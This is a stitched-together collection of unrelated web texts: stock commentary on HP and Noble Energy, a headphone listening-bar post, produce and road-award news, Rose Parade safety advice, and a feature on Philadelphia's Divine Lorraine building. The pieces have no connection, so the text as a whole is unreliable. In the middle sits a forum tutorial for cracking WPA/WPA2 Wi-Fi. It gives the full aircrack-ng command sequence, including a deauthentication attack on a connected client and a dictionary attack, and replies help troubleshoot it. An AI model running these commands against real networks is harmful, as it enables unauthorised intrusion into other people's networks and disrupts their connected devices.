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Staggering, but what you have come to expect from Hewlett-Packard (HPQ).That's how I feel about this revelation about Autonomy's fraudulent accounting. You had a company that so many people thought was overvalued being bought by a CEO who was clearly overvalued, OK'd by a board that had no value. I don't know a soul who thought this deal was a good one to begin with except Leo Apotheker, at least at the price it was going to pay. Lest we forget, Oracle did want to buy them for $6 billion, $4 billion less that HPQ paid. But I could argue, shrewd acquirer that he is, Larry Ellison would not have gone through with this transaction. Now here's what matters. Even though the fraud was at a company acquired by HPQ, my "accounting irregularities equal sell" dictates selling a company I have been telling you to sell for months and months now. I was impressed by the fact that the cash flow for the company is holding up despite the declining hardware and software businesses here. The personal computer business fell 14%, printing declined 5%, services dropped 6% and enterprise servers saw a 9% decline. But, frankly, so what? You can only cut back so much before declines like that just wipe your business out. The idea that Meg Whitman is still buying back shares and paying dividends after these shocking declines and the Autonomy fiasco is a little disappointing. After all, this is hardly a debt-free company. But I think she wanted to show that the company truly does generate cash, so she's sticking by the projections for next year and is pounding the table on the cash generation. But the simple fact is that despite this company's amazing pedigree and its 60-year experience, it is a totally broken enterprise going the way of BUNCH (Burroughs, Univac, NCR, Control Data and Honeywell). Those were all once computer companies that had to give up and throw in the towel. NCR saved itself by becoming a force in ATMs, as well as maintaining its register business. Honeywell became a diversified maker of pretty much everything but computers. Control Data managed to cobble together some service businesses that were spun off and ultimately sold to create value and Burroughs and Univac combined to become Unisys. It's the latter that feels a heck of a lot like the future of Hewlett-Packard.
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The evil effects of frivolous talk are:- defective bodily organs and incredible speech.
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Introducing the Crutchfield Headphones Bar
Ralph Graves is one of Crutchfield's blog editors, and part of the company's social media team. He writes about home audio/video gear, specializing in Apple-related and wireless technologies. Ralph holds a master's degree in music composition, and his works have been released on various labels. He's served as product manager for an independent classical and world music label, produced several recordings, and worked extensively in public broadcasting. Since 1984 he's hosted a weekly classical music program on WTJU, and is also active as a blogger and podcaster.
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Heads up!Welcome to this article from the Crutchfield archives. Have fun reading it, but be aware that the information may be outdated and links may be broken.
Crutchfield carries a lot of headphones. And customers often ask us, "Which is the best pair?"
There's no single right answer, because there are a lot of variables to consider — like function, for example. Headphones designed for portable use usually have smaller drivers than those built for home use only. Does that make them inferior? Not especially. High-performance headphones usually require more power than an iPod or iPhone can deliver for optimal performance -— power that a headphone amp can provide. So a set of very expensive headphones might not deliver the same level of detail that a good set of portables could.
But how about comparing apples to apples? Surely it's easy to determine which set of headphones is best comparing like product to like product. Again, it depends. Most headphones color the sound in some fashion. Some overtly, some subtly. Whether that's a good thing or not can depend on what type of music you generally listen to. Headphones that reinforce the low end might make a hip-hop track sound even better, while making a string quartet sound unnatural and unbalanced.
That said, comparing headphones can be a helpful way to determine where each fits along the sonic spectrum. We've recently created a headphone listening bar where our advisors (and other employees) can compare up to four similar headphones side-by-side. The setup lets the listener quickly switch from one set of headphones to another, so they have an opportunity to hear the exact same music through two or more headphones one after the other. (Note: you can click on the images to enlarge them)
Our basic setup is designed to eliminate as many variables as possible, while still maintaining a real-world (as opposed to an audio lab) experience.
When you talk to one of our advisors and they mention trying out a certain set of headphones, chances are it was at this listening bar. We'll be using the bar in future posts to actually compare different headphones and report on our impressions.
The headphone listening bar setup:
Our sound source is a NAD C 565BEE CD player. Inside the player is a disc with twenty tracks from many different musical styles and genres. On top of the player is a list of the tracks, with full credits as well as the size of the sound file (which can be an indicator for the amount of compression and therefore the overall sound quality of the track).
A PS Audio Digital Link III DAC (digital-to-analog converter) takes the digital signal from the CD player via coaxial digital cable, and converts it to analog. The component uses a Texas Instruments PCM1798DB DAC with 24 bit resolution and 8X oversampling. The result is accurate, finely detailed sound, giving the headphones something to work with.
AudioQuest Diamondback audio cables connect the DAC's processed analog signal to a four-output headphone amp. Each of the four outputs has its own volume control, allowing the listener to match the volume levels between headphones. This allows us to compare headphones one of two ways: we can use the same volume settings across the board and determine which headphones operate more efficiently (they'll sound louder). Or we can adjust the volume so that each set of headphones is at about the same level and we can then listen for other differences between them.
Other gear to simulate home use:
Most people don't listen to music going directly from a component like a CD player to a headphone amp. Normally, they use the headphone jack on the receiver of their audio/video system. To simulate that, the listening bar also has an NAD C 375BEE integrated amplifier. We just unplug the cables running into the 4-output headphone amp and reconnect them to the amp's CD input. We can then use its front-panel headphone jack to audition the 'phones one at a time. this lets us try our headphones in a more "real world" setting.
High-performance headphones operate best when they're fully powered. Although the headphone jack provides some power, it might not be enough for all types of 'phones. So we also have a dedicated headphone amp to go with our system. A Pro-Ject Head Box II headphone amplifier is connected to the line-level monitor output of the receiver via Audio Quest King Cobra cables. Like the Diamondbacks these cables feature solid copper conductors to minimize electronic and magnetic interference as the signal goes from one component to another. Adding a headphone amp to a system is one of the best ways to improve headphone performance. So we can simulate not only the average listening experience by plugging our headphones into the NAD amp's headphone jack, but a much better (but still realistic) one by using the Pro-Ject headphone amp instead.
All the components are plugged into an PS Audio Quintet Power Center power conditioner and surge suppresser. This unit cleans up the irregularities in the electricity coming into the system, removing electronic noise that can interfere with the audio signal. Plus, it has five isolated filter banks, so the noise generated by each component doesn't affect the others.
At the bar
Currently, our listening bar has four sets of headphones: the Bowers & Wilkins P5s, the Monster Beats™ by Dr. Dre™ Studio headphones, the AKG K 272 HD's and the Sennheiser HD 598 high-performance stereo headphones. How do these headphones compare to each other? We'll have the results soon.


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(UPDATED COVERAGE July 3) Willie Martinez has succeeded Jim Cathey as general manager at Nogales, Ariz.-based Del Campo Supreme.
Cathey, who was also sales manager at Del Campo Supreme, left the company June 29 to join Leamington, Ontario-based JemD Farms. Jim Munguia succeeded Cathey as sales manager June 3.
The moves follow the departure of Martin Ley, vice president and a 20-year veteran of Del Campo Supreme, to form a new company, Fresh Evolution, in Nogales.
Cathey started July 1 as a sales and purchasing manager at JemD Farms, where one of his tasks is to establish an f.o.b. sales office in McAllen, Texas.
"I'll be managing purchasing from Arizona and sales from Texas," he said. "It's a new concept for them. Like many of the Canadians, they've taken a lot of their product to their Michigan and other facilities and moved it on from there. We intend to set up an f.o.b. sales office, and that's my job. It gives us another block of customers who want to load f.o.b. in Texas."
Cathey spent 12 years at Del Campo Supreme. He's had business dealings with JemD Farms president Jim DiMenna through the course of his 35-year produce career.
"Cathey's knowledge and vast experience in produce operations will help contribute to the growth of our company as we continue our expansions throughout North America," DiMenna said in a news release.
Martinez has spent 10 years in his organization, starting from the retail side of the business at Casa Ley in Mexico. He moved to Nogales in 2003 to join Del Campo Supreme.
"The challenge is to maintain what Martin and Jim have built with the company and grow it," Martinez said. "The competition is fierce, but I think we have the right quality and the right growers in line with us to give us the differentiation that we have been known for. I'm eager for the opportunity and I think we will succeed and make this company grow."


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PASADENA - Rose Parade revelers should arrive early, dress in layers for cold weather, stay hydrated and nourished and report any suspicious activity around the parade route or the Rose Bowl Game, officials said Monday.
Pasadena police work with local, state and federal law enforcement agencies to ensure the parade route and Rose Bowl Game are as safe as possible but alert spectators also play an important role, Police Chief Phillip Sanchez said at a Monday press conference.
"The hardest person to protect against, of course, is the non-state, lone wolf actor," Sanchez said. "What I'm asking people on the parade route, is if you see something, say something. If something's suspicious, please get ahold of a Pasadena police officer or a uniformed police officer, and let them know what you've seen."
There were no specific security threats this year reported against the parade or game as of 3 p.m. Monday, police officials said.
Throwing marshmallows, tortillas and silly string at passing cars - although longtime New Year's traditions - are against the law, can result in physical altercations and arrests, Sanchez said.
Shooting of firearms at midnight is a felony and perpetrators will be arrested and their cases submitted to the DA's Office, he said.
"Arrive early, bring a lot of patience, dress warm, and recognize there will be hundreds of thousands of people, so civility and respectful treatment of one another is really the order of the day," Sanchez said.
The police department has been working with Occupy protesters, who plan to follow at the end of the parade as they did last year, he said.
About 10 different law enforcement agencies will be working with the city to ensure security, including plainclothes officers and canine units, said Deputy Police Chief Darryl Qualls.
There will be a Pasadena police officer teamed up with a Los Angeles County Sheriff's deputy along every two blocks of the 5.5-mile parade route starting Monday night, he said.
While the parade route has been fairly safe in recent years, people should be mindful of potential theft of their belongings, including purses, cell phones and Rose Bowl Game tickets, Qualls said.
"When you bring in an amount of people coming for the parade and game, there is always potential for opportunist-type crime," Qualls said.
Since Saturday, about 90 trained police department volunteers have been helping to register motor homes, trailers and other large vehicles parked along the parade route each day, said Pasadena Police Officer Nicole Bazzo, the department's volunteer coordinator. The practice of registering the vehicles and their owners began after Sept. 11, 2001, Qualls said.
In addition, 12 Pasadena Police Youth Advisors and nine Police Explorers a day have also assisted with registration of these vehicles, Bazzo said.
Pasadena Fire Chief Calvin Wells urged revelers - particularly young children and seniors - to dress warmly and in layers to avoid hypothermia, with temperatures expected to dip overnight into the 30s. Spectators should also stay hydrated and well-nourished throughout the day to avoid illnesses, and keep their medicines with them at all times, he said.
Pets should be left at home, since the noises along the route can scare them, said Lisa Derderian, a fire department spokeswoman.


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Posted on 10/17/2012 by
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Since 2008 Getty Images has noticed some change in the kind of images financial service providers are using.
They are using more pictures of women who are now frequently the primary money-makers and decision-makers in their households. Contemporary females are shown looking empowered, relaxed, and balancing many roles.
People are reassessing what wealth really means. Is it about owning a home, or the milestones one celebrates in the home? Is it about accumulating tons of stuff, or enjoying new experiences? Is it about what you buy, or how you can contribute? Getty says they are seeing lots of messaging around themes like "living life with meaning," and "stopping to really appreciate the basics."
There is a focus on small businesses and ethical business practices. They are trying to rebuild trust with images that show they "listen to customers needs," "treat employees well," and "have ethical business practices." Depictions of aspiration and conspicuous wealth have disappeared.
For more on these themes and to see some samples of images that have been used go
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The on again, off again work toward a new farm bill is on again.
The Senate Agriculture Committee has scheduled a May 14 hearing to consider provisions of the 2013 farm bill, and industry reaction on to the working version of the bill is positive. A spokesman for the House Agriculture Committee said the target date for the farm bill markup is May 15.
"In terms of the funding levels for the major programs, we are very pleased," said Robert Guenther, senior vice president of public policy for the United Fresh Produce Association, Washington, D.C.
Guenther said funding in the Senate draft is similar to the 2012 version of the farm bill.
One area of improvement is with the Specialty Crop Research Initiative. That program was eliminated from the budget when the farm bill was extended in January, but in the Senate's draft farm bill, the program has $25 million for fiscal 2014. Funding eventually ramps up to $65 million in 2017 and then will be set at $50 million starting in 2018.
"That was the most important part about this, that the funding (for the Specialty Crop Research Initiative) is reestablished, and to have the baseline put in that program that wasn't there in the last farm bill," he said.
Dale Moore, spokesman for the Washington, D.C.-based American Farm Bureau Federation, said he is confident a new farm bill can be passed this year, and hopefully before Sept. 30, when the current extension expires.
The USDA crop insurance program may be under pressure, Moore said, because the federal government paid out $17 billion in the past year.
The elimination of direct payments to program crop producers under the new farm bill could change the debate about restrictions on fruit and vegetable plantings. Under the direct payment system, producers of wheat, corn, soybeans and other program crops could receive direct payments from the USDA whether or not they planted or produced the crop.
Produce industry lobbyists have argued that subsidized program crop growers would have an unfair advantage over fruit and vegetable growers if they received government subsidies. Because of that, farm policy since 1996 has prohibited program crop growers from planting fruits and vegetables — for either processing or the fresh market — on so-called "flex acres." If growers did plant fruits and vegetables, the penalty was not only a loss of subsidies for that acreage, but also removal of the land from the base acreage figure.
Under the new farm bill, farmers will have to plant program crops to receive benefits, so restrictions on fruit and vegetable planting may be unneeded, Moore said.
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The Divine Lorraine looms over North Broad Street like a gigantic contradiction. Graffiti tags mar its grand facade from street level to towers. Its shattered windows open into a hulk of a building long-since gutted by scavengers and failed renovations.
Clearly crumbling toward an unpleasant end, the Divine Lorraine's mortality seems self-evident.
But don't try telling that to developer Eric Blumenfeld. When he looks at the 10-story tower, he sees only possibilities. To him, the building holds the key to a massive renaissance that would restore North Broad Street to the grand boulevard it was when the brand-new Lorraine Apartments opened in 1894.
And don't try telling that to Temple University student Dean Nani. The Lorraine has so mesmerized him that he wrote a college research paper on it and now speaks of Blumenfeld with the fervor of a groupie.
Plans for this North Broad revitalization seem to be just beyond the dream phase. To make them real, Blumenfeld must raise a lot of money and acquire a lot of land, and folks who live there now must be convinced that his grandiose blueprint works for the neighborhood.
Nani, however, harbors little doubt. He admires Blumenfeld's efforts so much that he recently popped up as the developer was offering a tour of the premises.
How had he known Blumenfeld was there?
Well, he'd read a lot about Blumenfeld and when Nani emerged recently from the subway, he could tell that someone was in the building. Seeing Blumenfeld's flashy ride, Nani put two and two together.
"I knew that he was into fancy cars — and I saw it parked out front and knew that he had to be here," Nani said, "So I've been here for the last 45 minutes waiting for him to come out.
"I just wanted to meet him. This is my favorite building in Philadelphia. I think North Philadelphia really needs something like this right now. And it comes at a perfect time."
A minute later, in an oddly tender moment, the student and the developer hugged.
A pioneer of distinction
As much as anything, that scene, of an ambitious developer embracing a college student he'd just met, sums up the Divine Lorraine's magnetism. It also puts a fine point on just how important Temple University -- just eight blocks north -- is to any North Broad plan.
Ken Finkel of Temple's American Studies program says this building was built to make a statement, and to be a destination. Witness its construction materials: buff-colored brick and limestone.
"The material is different. It's not red brick like the rest of the city," Finkle said. "They specifically didn't want it to look like anything else. Its forms are a lot of play with arches and windows and the two towers. The Divine Lorraine predates the turn of the century, predates World War I. So it's a real pioneer."
The building spent its first 50 years as a well-appointed apartment house. In 1948, Father Divine, the charismatic leader and self-proclaimed deity who ran the Universal Peace Mission Movement, bought it.
"Because of its role with Father Divine's mission, and that continued for quite a while, it was a truly functional, viable almost quasi-utopian community," Finkle said.
A fiery preacher, Divine, a black man married to a white woman when such marriages were not accepted, built a community around tolerance. He reportedly said, "I am not a race nor a creed, nor a color; but as a supernatural power, as infinite spirit, as universal mind substance I came! I am redeeming the children of men."
Finkel said Divine changed his followers' lives. "People would really turn their lives, their wealth, their assets, over to this collective community. And they would eat together and pray together."
Philadelphia City Council and social and political leaders across the country lauded Divine and his group's work, while some questioned his followers' extreme dedication. The controversial social trailblazer and civil rights advocate also claimed to be God and, in addition to many faithful followers, he drew critics who considerd the utopian religious movement a cult and Divine its power-hungry leader. In 1950, Divine opened another building in Philadelphia: the Divine Tracy Hotel.
In 1953, the group expanded, purchasing Woodmont, which became Divine's home. The building, which Divine dedicated as the Mount of the House of the Lord, sits near the Philadelphia Country Club in Gladwyne and was declared a National Historic Landmark in 1998.
In keeping with his religious and social beliefs, Divine is believed to have ended his correspondence with: "Sincerely wishing that you and those with whom you are concerned might be even as I am for I am well, healthy, joyful, peaceful, lively, loving, successful, prosperous and happy in spirit, body and mind and in every organ, muscle, sinew, joint, limb, vein and bone and even in every atom, fibre and cell of my bodily form."
In July 7 1940, The Savannah Journal's editorial page reportedly singled Divine out for his historic leadership role:
"There are those who have criticized Father Divine and condemned his movement, but despite what has been said and written, he stands today as the greatest and most powerful single force in America. There is only one other man in the world who ranks with the little man of peace in Harlem, and that is Hitler. The difference between the two is: Father Divine believes in right, in peace and a form of government in which all enjoy liberty and the pursuit of happiness. Hitler believes in war, bloodshed, uses his power destructively instead of constructively."
The racially integrated community sold the building in 2000, and the intervening years have been tough on the Lorraine. Most of the furniture and fixtures have been stripped. But even decades of neglect have not robbed the Lorraine of a natural grandeur, with wide open spaces and impressive skyline views.
It's a space that, even still, takes visitors' breath away. But some preservationists and neighborhood residents worry the building can't survive in this shape much longer.
Another try for Blumenfeld
Blumenfeld owned this building before. Standing inside, pointing out the paneless window, he imagines the makeover he'll give this rundown palace.
"It's represented, for 15 years, blight. And it's visible blight. So the transformation of this building, I think, just has such a multiplier effect not only on the development of the North Broad Street corridor but Philadelphia in general," he said. "Because this is really a convergence of multiple neighborhoods, and we're really the link between Temple University and downtown."
And that's the thing. For North Broad Street to return to its glory days -- or at least to attract shoppers, diners and residents from across the area -- many say the Divine Lorraine must be reborn. It's the linchpin, the keystone.
"This is a tremendously blank canvas," he said of the gutted structure. "Some guys come in and they just close it up with drywall. Well that's the last thing we're going to do!
"This to me feels like a museum. And if the folks who live here get that sense then I have done my job. That's my mission."
While Blumenfeld wants the Divine Lorraine to feel like a museum, Philadelphia Salon director Caryn Kunkle wants it to actually house one.
"We're working on building a museum of contemporary art and we're working with Eric to incorporate that into the Divine Lorraine," Kunkle says. "The museum will most likely be adjacent to the Jose Garces restaurant on the first and second floors and then the sculpture garden."
North Broad neighbors wary
It's just one of many ideas for the building and the surrounding land, ideas that could change the life on North Broad Street.Some people who already live in the neighborhood are waiting to see what Blumenfeld does next. The developer produced a big plan that includes schools, a visual arts complex, a performing arts center, an athletics center, a library and a training facility for the Philadelphia 76ers. The entire landscape of North Broad Street looks different on his new map.
But it's a pricey project that's likely to require public funding — a battle that's sure to be controversial — or other financial assistance. Blumenfeld has stressed that these are all just ideas and he doesn't want to force out anyone who is there now.
Temple's Ken Finkel says Broad Street was once a prominent address — a lot of people wanted to live there. Who knows? he says. Maybe they will again.
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As a trader, you always want to buy strength and sell weakness. Momentum matters. And in the sector of energy exploration and production, where I've been negative lately, one independent E&P is showing the type of strength that makes me want to buy it -- even in a lackluster energy environment.
I'm recommending a buy of Noble Energy (NBL) today.
I've been a very strong advocate of investment in the independent oil companies as an important part of every energy portfolio -- it's just a bang-for-the-buck equation, where growth from each dollar of capex from smaller E&P's like Apache (APA), Anadarko (APC), Devon (DVN) and Noble far outpaces the big integrated companies.
Inside of that subsector, however, many challenges emerge for each individual company, and Noble definitely has its share. But positives have emerged from Noble that drive me to it now.
One is growth potential. While its investment in the Leviathan field off the Israeli coast might be slow to come to fruition, the potential of unproven reserves there could literally change the balance of Middle East energy. But even more quickly in the Niobrara in Colorado, there will be tremendous volume gains that will be seen in the next year and into 2014.
Of course, the other independent E&P companies I mentioned have plans for volume growth, too. But I'm also a trader who lets the market tell me what I need to know -- and the action of Noble energy in the past six months when compared with the others tells a very strong story.
Through very tough and volatile markets recently, Noble has managed to maintain its strength in a way that the others haven't. That's nothing to take for granted -- always buy strength when you can make a fundamental case for a company. And I can with Noble. I'm looking for it to see $115 a share in 2013, even if the oil markets remain flat. I recommend the stock at $97.


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thanks for the post .. but same problem .. need big dictionary .. but it could be solved if having good luck
Watch video on-line: http://g0tmi1k.blip.tv/file/2318855/
Download video: http://www.mediafire.com/?kn0b37v79rptd9e
What is this?
How to crack a wireless network using WPA/WPA2 (PSK/AES) encryption with a connected client (as both have same method!) . Then using a pre-computed hash table which has been "pre-salted" with the ESSID for the network to get the pass-phrase.
How does this work?
> Captures a 4-way handshake
> Creates a quick DoS (Denial of Service) attack at connected client to force them to disconnect and reconnect
> Apply a brute force dictionary attack to the handshake
What do I need?
> aircrack-ng suite
> WiFi Card that supports monitor mode
> Big dictionary
> Processing power
Name: Aircrack-ng
Version: 1.0-rc3
Home Page: http://www.aircrack-ng.org/doku.php
Download Link: http://download.aircrack-ng.org/airc...1.0-rc3.tar.gz
Code:airmon-ng start wlan0 airodump-ng mon0 airodump-ng --bssid 00:1B:9E:B2:60:00 -c 1 -w output mon0 aireplay-ng --deauth 10 -a 00:1B:9E:B2:60:00 -c 00:12:17:94:90:0D mon0 airolib-ng crackwpa --import passwd /root/tools/dictionaries/g0tmi1k.lst kate ~/essid airolib-ng crackwpa --import essid ~/essid airolib-ng crackwpa --stats airolib-ng crackwpa --clean all airolib-ng crackwpa --batch airolib-ng crackwpa --verify all aircrack-ng -r crackwpa output*.cap
This is cut from my final video called "g0tmi1k's home network".
There HAS to be a CONNECT client.
The pass-phrase HAS to be in the dictionary - so if you use something like http://grc.com/pass, the chances of it being crack is next to nothing!
Song: Sub Focus - Rock It
Video length: 03:53
Capture length: 04:03
Blog Post:http://g0tmi1k.blogspot.com/2009/07/...k-wpawpa2.html
Forum Post: http://www.backtrack-linux.org/forums/backtrack-videos/1656-%5Bvideo%5D-how-crack-wpa-wpa2-aircrack-ng-airolib-ng.html
Dictionaries: http://g0tmi1k.blogspot.com/2010/02/site-news-isos-and-dictionaries.html
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Have you...g0tmi1k?
thanks for the post .. but same problem .. need big dictionary .. but it could be solved if having good luck
---> 3v3RY D4y P4ss3S 1 f0uNd N3W th1NGs <---
Knowing how 2 use BT dsnt mean that u r hacker
m0j4h3d...try john the ripper and crunch for that...but it can take a long..long...time
Have you...g0tmi1k?
What about using genpmk and the essid to pre-compute your hash files, and then cracking with cowpatty? Right now i'm actually torrenting the shmoo top 1000 essids rainbow tables to assist me in cracking, which is probably the best thing about having a laptop that's specifically being used for running bt4 im already filling up my 250 GB drive with hashes and dictionaries far beyond those that are in the repo's.
I did a video on my blog of Aircrack-ng vs coWPAtty, comparing the speeds & time it takes to crack, and Ive now posted it here for you:
and yes, Ive also got a torrent on the go, seeding a few hashes & dictionaries myself!
Have you...g0tmi1k?
Nice share , I hav'nt seen such gr8 explaination elsewhere
But I am facing some problems !!! Can u PLease HELP ME ??
I hav successfully executed commands :
But the command "aireplay-ng --deauth 10 -a 00:1B:9E:B2:60:00 -c 00:12:17:94:90:0D mon0"airmon-ng start wlan0
airodump-ng mon0
airodump-ng --bssid 00:1B:9E:B2:60:00 -c 1 -w output mon0
NOT working properly as shown in fig ..
Can u tell me What is problem der ?
Also Please help me 2 solve this problem !!!!!
Thank U !!! Waiting !!!
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What OS is the client running? It didnt work 100% for me, when the client was Windows 7...
Ive also found that the some attacks work better with different routers...Swap the router if you have another one?
Have you...g0tmi1k?
Hello g0tmi1k!
I've got a problem too.
If I upload a video to YouTube, will You tell me what am I doing wrong?


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Since our founding in 1998, Bartimaeus Cooperative Ministries has been commited to building capacity around connecting faith to political and personal issues of economic justice. We have developed an approach we call "Sabbath Economics," a phrase we use as shorthand for the biblical vision of "enough for all." We have published dozens of Sabbath Economics themed pieces and developed many popular education resources for use by faith communities.
Since 2005 our particular focus has been helping persons interested in Sabbath Economics to examine practically their own household economics. Our approach is predicated on the conviction that our current lifeways in this economic system are unsustainable, that we must make changes, and that the most enduring personal changes are ones we make incrementally and deliberately. We draw on 12-step recovery traditions on one hand, and "lifestyle-audit" type work on the other. We think the realm of personal and family household practices most intimately and concretely expresses our actual (as opposed to our professed or idealized) economic and spiritual values. This household focus is not intended to be a substitute for engaging wider structural and political aspects of economic and social justice, but as an important complement to organizing, education and advocacy. This kind of Covenant work, while not by itself sufficient for creating a world that conforms more deeply to God's dream, is necessary for the long haul of discipleship.
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A SWINDON-based organisation that specialises in mediation is among the first in the country to receive a new government quality mark for helping families affected by separation and divorce.
Lorraine Bramwell Associates has been awarded the new Help and Support for Separated Families Mark, which is only awarded to organisations who demonstrate that their work reduces conflict between parents.
The mark is designed to guide people to organisations they can trust to approach on the range of issues they might face during separation.
A former director of the College of Mediators, Lorraine Bramwell has been a mediator for nearly 20 years and said she was delighted her firm achieved the award She said: "At a time when mediation is being actively encouraged as a cheaper, quicker and more effective way of sorting out family disputes, it's really important that the public can identify experienced, qualified mediators who have expertise in family conflict and how to resolve it."
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'There was nothing I could do,' about hitting, killing bear
VANCOUVER, Wash. - It happened so fast there was no time to react.
The black bear came out of nowhere and slammed into the right fender, denting it, of Marilyn Harker's car early Wednesday afternoon as she was exiting northbound Interstate 205 at Northeast 134th Street.
"There was nothing I could do," she said Thursday. "I was just stunned. I just sat in my car."
She called police and said a coach from Skyview High School and another woman stopped and pulled the bear to the side of the road. The bear took his last breaths there.
Capt. Murray Schlenker with the Washington Department of Fish and Wildlife police was called to respond to the scene at about 12:30 p.m. He said the bear was three to five years old. It weighed 100 pounds.
Harker said she saw the bear in her peripheral vision come out of the woods and was running fast when it hit her car.
"It wasn't like I had any time to think about what I should or should not do," she said.
She was in disbelief about what happened. She sat in her car stunned and her hands began to shake.
She wishes it hadn't happened and feels bad for the bear.
"I'd heard so many stories about animals that get hit and they roll and run off into the woods, and I was really hoping that would happen," she said.
She was not injured.
Harker said her family had a hard time believing she hit a bear until they saw the damage to her car. Her insurance company is going to take care of repairs.
Schlenker said it's not unusual to have bears in parts of Vancouver but finding them near an interstate is rare.


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François Truffaut and Jean-Luc Godard speak in defense of the Cinémathèque Française.
This 60 second spot ran in numerous French film theaters during the events of May, 1968, when the future of the Cinémathèque Française under the leadership of Henri Langlois was in jeopardy. French cultural minister André Malraux, at the direction of then-president Charles de Gaulle, tried to fire Langlois, who had founded the Cinémathèque Française, and was a hero to young cinéastes. The reaction was immediate – Truffaut, Godard, and the rest of the French Nouvelle Vague directors simply weren't going to let this happen.
The protest against Langlois' attempted dismissal quickly became an international affair, even in the pre-internet era, and filmmakers around the world threatened to pull their films from the Cinémathèque's collection unless Langlois was reinstated. Eventually, Malraux backed down, and Langlois was restored to his post, though with reduced government funding. This advertisement played a small part in the affair, and it's refreshing to see two world renowned filmmakers coming to the defense of cinema as an art form.
Here's a rough translation:
Godard: "In general, films are shown commercially for seven years. After that, they're shown in art theaters, like this one."
Truffaut: "If their life can sometimes be extended, it's thanks to Henri Langlois' efforts in preserving them at the Cinémathèque Française."
Godard: "If you've chosen to see the film you're about to see tonight, or if you like to see a film you enjoy several times, you are already a friend of the Cinémathèque."
Truffaut: "So become a member of the Committee for the Defense of The Cinémathèque Française now."
This brief film was shot on March 14, 1968; you can see it by clicking here, or on the image above.


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"Congratulations to all the finalists for their outstanding work this year to improve and maintain B.C.'s roads, highways and bridges," said Minister of Transportation and Infrastructure Mary Polak at the awards ceremony in Victoria.
Construction and road maintenance companies, that perform work for the ministry, were presented with awards for grading, paving, bridges and structures, and highway maintenance work.
Emil Anderson Construction Inc. of Kelowna won this year's Contractor of the Year Award in Grading category for its work on the Monte Creek to Pritchard Four Laning Phase 1 project.
The project involved four-laning about 3.2 kilometres of Highway 1 from Monte Creek to just east of Bostock Road.
The project enhanced highway safety and capacity, as well as improved travel times along this corridor.
"This award is well deserved and highlights the excellent work Emil Anderson Construction did on the Monte Creek to Pritchard project," said Polak.
"This is a busy road for local users and a major corridor for commercial traffic, so it's important we keep it safe for B.C. families and more efficient for industry."
The runners-up in the grading category were Kledo Construction Ltd. of Fort Nelson for upgrades on Sierra Yoyo Desan Road and Pedre Contractors Ltd. of Langley for the Evergreen Line BC Hydro Feeder Duct and Structures Construction project.
Pittman Asphalt Ltd. of Prince George won the Deputy Minister's Contractor of the Year Award for Paving for work on Prince George area roads.
Their projects include Stuart River Bridge to Kwah Road on Highway 27, North Kelly Road to Salmon River Bridge on Highway 97, and the intersection of Highway 97 and 16, which is heavily used by local commuters and traffic bound for locations throughout the northern part of the province.
A number of side roads in the area were also resurfaced.
Pittman finished the projects on time and on budget.
"This award is well-deserved and highlights the excellent work Pittman Asphalt Ltd. did this year to improve roads in the Prince George area," said Polak.
"These roads are busy with both local traffic and those travelling to more northern parts of the province, so it's important we keep them safe and efficient for all users,"
The runners-up in the paving category were Okanagan Aggregates Ltd. of Armstrong for the Highway 43 Overlay-Sparwood to Line Creek Road Project, and ARC Asphalt Recycling Inc. of Kamloops for Hot-In-Place Recycling on Highway 5 from Valemount to Tete Jaune and from Avola to Whitewater Bridge.
Seismic 2000 Construction Ltd. of Aldergrove won this year's Deputy Minister's Contractor of the Year Award in the Bridges and Structures category for its work on the Highway 3 Old Kootenay River Channel Bridge.
The project involved rehabilitating the existing 300-metre-long bridge, which was built in 1958.
The company provided traffic management to keep Highway 3 open and dealt with a number of challenges as a result of summer electrical storms and power failures.
It also worked to mitigate any potential environmental disruptions and impacts, as the bridge lies within the Creston Valley Wildlife Management Area.
"This award is well-deserved and highlights the excellent work Seismic 2000 Construction did on the Old Kootenay River Channel Bridge – an important part of the Highway 3 corridor connecting B.C. and the rest of Canada," said Polak.
The runners-up were West Bridge Corporation of North Vancouver for Highway 99 Long Cayoosh Bridge, and Westpro Infrastructure Ltd. of Surrey for the South Fraser Perimeter Road Highway 17 Deltaport Interchange project.
Mainroad Lower Mainland Contracting LP won the Contractor of the Year Award in Road and Bridge Maintenance for work in the Lower Mainland service area.
The runners-up were Yellowhead Road and Bridge (North Peace) Ltd. for work in the North Peace service area and Argo Road Maintenance (South Okanagan) Inc. for work in the South Okanagan service area.
This year a new category for Excellence in Safety Innovation was given out.
LaFarge Canada Inc. won the inaugural award for its Haul Tailgate Block.
The Tailgate Block is a new safety device that keeps the tailgate in place if the hydraulic line in the tailgate fails.
The Tailgate Block is slipped onto the lift cylinder of the tailgate prior to inspectors working in the back of the truck, preventing the tailgate from falling.
"Congratulations to Lafarge Canada for its sterling work in safety innovation," said Vancouver-Langara MLA Dr. Moira Stilwell at the event.
"This new device will improve on-the-job protection for those who work hard to make roads safer for everyone. This should serve as inspiration to the industry – one that hopefully leads other contractors to follow suit."
The event was held in conjunction with the B.C. Road Builders and Heavy Construction Association's annual general meeting and holiday celebration in Victoria.
However, the winners were not necessarily association members.
Seismic 2000 Construction won in the Bridges and Structures
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I took three days off and the market flat-lined. In fact, about the only thing I can see that has changed is that CNBC is now offering us "fun facts about the fiscal cliff" far too many times throughout the day. Is there really anyone who turns on CNBC who still needs to be informed about this?
After about the 10th time I saw one of these facts highlighted, I noticed that the network has now placed three or four boulders on the screen to mark the countdown: one with the days, the next with the hours and so on. CNBC is clearly obsessed with this next "event" in the market. Heck, the other evening my local television news, which rarely even reports what the markets do day to day, began the nightly broadcast with the looming "fiscal cliff."...408 more words left in this article. To read them, just click below and try Real Money FREE for 14 days.
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Despite a triumphant awards season, Anne Hathaway's overexposure led to a vitriolic attack from the world's media last year. Now, she's emerged from the shadows ready for the spotlight once more, as Susan Griffin discovers.
Anne Hathaway received a raft of awards in early 2013 for her role as Les Miserables' tragic heroine Fantine. But along with the Oscar, Bafta and Golden Globe, she was also the recipient of vitriol, with pages devoted to the examining why the star was so 'annoying'. Incredulously at one point, she even beat Chris Brown, Rihanna's violent ex-boyfriend, in a poll of the most hated celebrities in Hollywood.
Her response was to lay low, out of the limelight.
"I was in the press so much at the beginning of 2013, I think people got really sick of me. I mean, I was really sick of me, so I can't even imagine how everyone else felt," says the 31-year-old, dressed today in a preppy black skirt, white blouse and thick denier tights. The only quirky touch is a black flower clipped into her hair, which she's kept short after chopping it off for Les Mis.
"I try and take as a much of a break as I can," she adds. "Sometimes people are parked outside my house [in Los Angeles] and take my photo, so I don't have a choice in that matter, but as far I was concerned, I was very happy to take a break from the limelight."
